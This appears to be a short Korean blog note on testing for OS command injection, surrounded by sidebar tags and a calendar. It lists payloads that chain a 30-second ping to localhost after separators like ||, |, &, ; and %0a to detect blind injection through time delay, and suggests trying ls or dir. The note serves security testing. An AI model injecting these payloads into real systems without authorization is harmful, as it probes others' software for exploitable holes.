Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
| 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| 15 | 16 | 17 | 18 | 19 | 20 | 21 |
| 22 | 23 | 24 | 25 | 26 | 27 | 28 |
| 29 | 30 |
Tags
- GitLab
- 한글가이드
- XCP-ng
- PlayBook
- x-pack
- xe guest utilities
- miniconda
- Proxy
- freebsd
- pfsense
- elastic stack
- G-suite
- hardening
- docker
- ELASTIC
- macos
- 보안양파
- bash
- Windows
- application security
- 로그인불가
- endpoint security
- centos 8
- Kibana
- ansible
- Kibana server is not ready yet
- proxycfg
- ssh key 배포
- Elasticsearch
Archives
- Today
- Total
선 밖에 선 자유인
OS command injection 테스트 본문
Blind injection 과 유사하게 시간 지연을 이용
ex)
|| ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
| ping -i 30 127.0.0.1
| ping -n 30 127.0.0.1
& ping -i 30 127.0.0.1
| ping -n 30 127.0.0.1
; ping 127.0.0.1
%0a ping -i 30 127.0.0.1 `0a
' ping 127.0.0.1 `
기타 ls나 dir 등을 입력하여 브라우저에서 보여지는 부분이 있는지 확인
Comments